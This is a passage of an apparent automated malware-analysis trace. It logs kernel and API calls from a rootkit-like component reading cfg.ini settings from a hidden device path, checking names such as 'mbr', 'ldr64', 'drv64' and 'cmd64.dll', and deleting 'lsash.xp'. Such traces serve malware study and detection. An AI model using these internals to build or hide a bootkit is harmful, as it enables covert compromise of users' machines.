MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.766] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.766] IdePortDispatch () returned 0x103 [0121.766] KeWaitForMutexObject () returned 0x0 [0121.766] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.766] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.766] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.766] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.766] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.766] IdePortDispatch () returned 0x103 [0121.766] KeWaitForMutexObject () returned 0x0 [0121.766] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.766] KeLeaveCriticalRegion () [0121.766] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.767] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.767] KeEnterCriticalRegion () [0121.767] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.767] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.767] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.767] KeLeaveCriticalRegion () [0121.767] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.767] KeEnterCriticalRegion () [0121.767] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.767] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.767] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.767] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.767] KeLeaveCriticalRegion () [0121.767] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.767] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.767] KeEnterCriticalRegion () [0121.767] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.767] ExFreePoolWithTag (P=0xfffffa8003bd6010, Tag=0x0) [0121.767] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.767] KeLeaveCriticalRegion () [0121.767] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.767] ReleaseMutex (hMutex=0xf0) returned 1 [0121.767] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.767] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.767] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.767] KeEnterCriticalRegion () [0121.767] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.767] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.767] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.767] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.767] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.767] IdePortDispatch () returned 0x103 [0121.767] KeWaitForMutexObject () returned 0x0 [0121.767] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.768] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.768] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.768] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.768] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.768] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6310 [0121.768] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.768] KeLeaveCriticalRegion () [0121.768] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.768] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.768] KeEnterCriticalRegion () [0121.768] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.768] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.768] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.768] KeLeaveCriticalRegion () [0121.768] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.768] KeEnterCriticalRegion () [0121.768] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.768] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.768] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.768] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.768] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.768] IdePortDispatch () returned 0x103 [0121.768] KeWaitForMutexObject () returned 0x0 [0121.768] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.768] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.768] KeLeaveCriticalRegion () [0121.768] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.768] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.768] KeEnterCriticalRegion () [0121.768] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.768] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bcc000 [0121.768] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.768] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.768] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.768] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.768] IdePortDispatch () returned 0x103 [0121.769] KeWaitForMutexObject () returned 0x0 [0121.769] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.769] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.769] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.769] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.769] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.769] IdePortDispatch () returned 0x103 [0121.769] KeWaitForMutexObject () returned 0x0 [0121.769] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.769] KeLeaveCriticalRegion () [0121.769] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.769] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.769] KeEnterCriticalRegion () [0121.769] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.769] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.769] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.769] KeLeaveCriticalRegion () [0121.770] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.770] KeEnterCriticalRegion () [0121.770] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.770] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.770] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc63d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.770] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.770] KeLeaveCriticalRegion () [0121.770] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.770] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.770] KeEnterCriticalRegion () [0121.770] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.770] ExFreePoolWithTag (P=0xfffffa8003bc6310, Tag=0x0) [0121.770] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.770] KeLeaveCriticalRegion () [0121.770] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.770] ReleaseMutex (hMutex=0xf0) returned 1 [0121.770] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.770] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.770] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.770] KeEnterCriticalRegion () [0121.770] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.770] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.770] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.770] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.770] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.770] IdePortDispatch () returned 0x103 [0121.770] KeWaitForMutexObject () returned 0x0 [0121.770] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.770] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.770] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.770] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.770] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.770] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbdf10 [0121.770] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.770] KeLeaveCriticalRegion () [0121.770] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.770] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.771] KeEnterCriticalRegion () [0121.771] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.771] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.771] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.771] KeLeaveCriticalRegion () [0121.771] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.771] KeEnterCriticalRegion () [0121.771] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.771] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.771] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.771] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.771] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.771] IdePortDispatch () returned 0x103 [0121.771] KeWaitForMutexObject () returned 0x0 [0121.771] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.771] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.771] KeLeaveCriticalRegion () [0121.771] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.771] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.771] KeEnterCriticalRegion () [0121.771] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.771] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bcd000 [0121.771] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.771] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.771] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.771] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.771] IdePortDispatch () returned 0x103 [0121.771] KeWaitForMutexObject () returned 0x0 [0121.771] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.771] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.771] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.772] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.772] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.772] IdePortDispatch () returned 0x103 [0121.772] KeWaitForMutexObject () returned 0x0 [0121.772] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.772] KeLeaveCriticalRegion () [0121.772] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.772] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.772] KeEnterCriticalRegion () [0121.772] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.772] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.772] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.772] KeLeaveCriticalRegion () [0121.772] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.772] KeEnterCriticalRegion () [0121.772] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.772] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.772] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.772] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.772] KeLeaveCriticalRegion () [0121.772] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.772] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.773] KeEnterCriticalRegion () [0121.773] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.773] ExFreePoolWithTag (P=0xfffffa8003bbdf10, Tag=0x0) [0121.773] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.773] KeLeaveCriticalRegion () [0121.773] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.773] ReleaseMutex (hMutex=0xf0) returned 1 [0121.773] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.773] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.773] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.773] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.773] KeEnterCriticalRegion () [0121.773] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.773] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.773] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.773] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.773] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.773] IdePortDispatch () returned 0x103 [0121.773] KeWaitForMutexObject () returned 0x0 [0121.773] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.773] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.773] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.773] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.773] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.773] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.773] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.773] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.773] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.773] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.773] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.773] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.773] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.773] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.773] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.773] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.773] KeLeaveCriticalRegion () [0121.773] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.773] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.774] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.774] KeEnterCriticalRegion () [0121.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.774] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.774] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.774] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.774] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.774] IdePortDispatch () returned 0x103 [0121.774] KeWaitForMutexObject () returned 0x0 [0121.774] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.774] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.774] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.774] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.774] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.774] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.774] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.774] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.774] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.774] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.774] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.774] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.774] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.774] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.774] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.774] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.774] KeLeaveCriticalRegion () [0121.774] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.774] ReleaseMutex (hMutex=0x100) returned 1 [0121.774] Sleep (dwMilliseconds=0x2bf20) [0121.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6bc9a670, dwHighDateTime=0x1d24fa4)) [0121.781] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.781] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.781] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.781] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.781] KeEnterCriticalRegion () [0121.781] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.781] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.781] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.781] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.781] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.781] IdePortDispatch () returned 0x103 [0121.781] KeWaitForMutexObject () returned 0x0 [0121.781] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.781] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.781] _strnicmp (_Str1="cmd64.dll", 